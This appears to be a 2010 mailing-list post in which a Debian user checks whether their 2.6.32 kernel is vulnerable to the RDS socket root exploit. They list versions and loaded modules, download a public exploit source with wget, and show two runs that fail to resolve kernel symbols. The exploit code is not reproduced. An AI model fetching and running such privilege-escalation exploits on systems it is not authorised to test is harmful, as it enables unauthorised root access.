I installed my kernel back on 01-Oct, so it should be vulnerable,
but it's not, even when I modprobed the rds modules.
http://www.zdnet.com/blog/security/linux-kernel-vulnerability-coughs-up-superuser-rights/7509
$ apt-cache policy linux-image-2.6.32-5-amd64
linux-image-2.6.32-5-amd64:
Installed: 2.6.32-24
Candidate: 2.6.32-26
Version table:
2.6.32-26 0
500 http://mirrors.kernel.org/debian/ sid/main amd64 Packages
*** 2.6.32-24 0
100 /var/lib/dpkg/status
$ uname -r
2.6.32-5-amd64
$ cat /etc/debian_version
squeeze/sid
$ grep RDS /boot/config-2.6.32-5-amd64
CONFIG_RDS=m
CONFIG_RDS_RDMA=m
CONFIG_RDS_TCP=m
# CONFIG_RDS_DEBUG is not set
# modprobe rds
# modprobe rds_tcp
# modprobe rds_rdma
$ lsmod | grep rds
rds_rdma 56776 0
rdma_cm 20582 1 rds_rdma
ib_core 40967 6
rds_rdma,rdma_cm,ib_cm,iw_cm,ib_sa,ib_mad
rds_tcp 8260 0
rds 70414 2 rds_rdma,rds_tcp
$ wget http://www.vsecurity.com/download/tools/linux-rds-exploit.c
--2010-10-21 10:18:35--
http://www.vsecurity.com/download/tools/linux-rds-exploit.c
Resolving www.vsecurity.com... 209.67.252.12
Connecting to www.vsecurity.com|209.67.252.12|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6435 (6.3K) [text/x-c]
Saving to: “linux-rds-exploit.c”
100%[=================================================================>]
6,435 33.4K/s in 0.2s
2010-10-21 10:18:36 (33.4 KB/s) - “linux-rds-exploit.c” saved
[6435/6435]
$ ./a.out
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xffffffffa1009000
[+] Resolved commit_creds to 0xffffffff81069235
[+] Resolved prepare_kernel_cred to 0xffffffff81069138
[*] Failed to resolve kernel symbols.
$ sudo ~me/a.out
[sudo] password for me:
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
[+] Resolved rds_ioctl to 0xffffffffa1009000
[+] Resolved commit_creds to 0xffffffff81069235
[+] Resolved prepare_kernel_cred to 0xffffffff81069138
[*] Failed to resolve kernel symbols.
--
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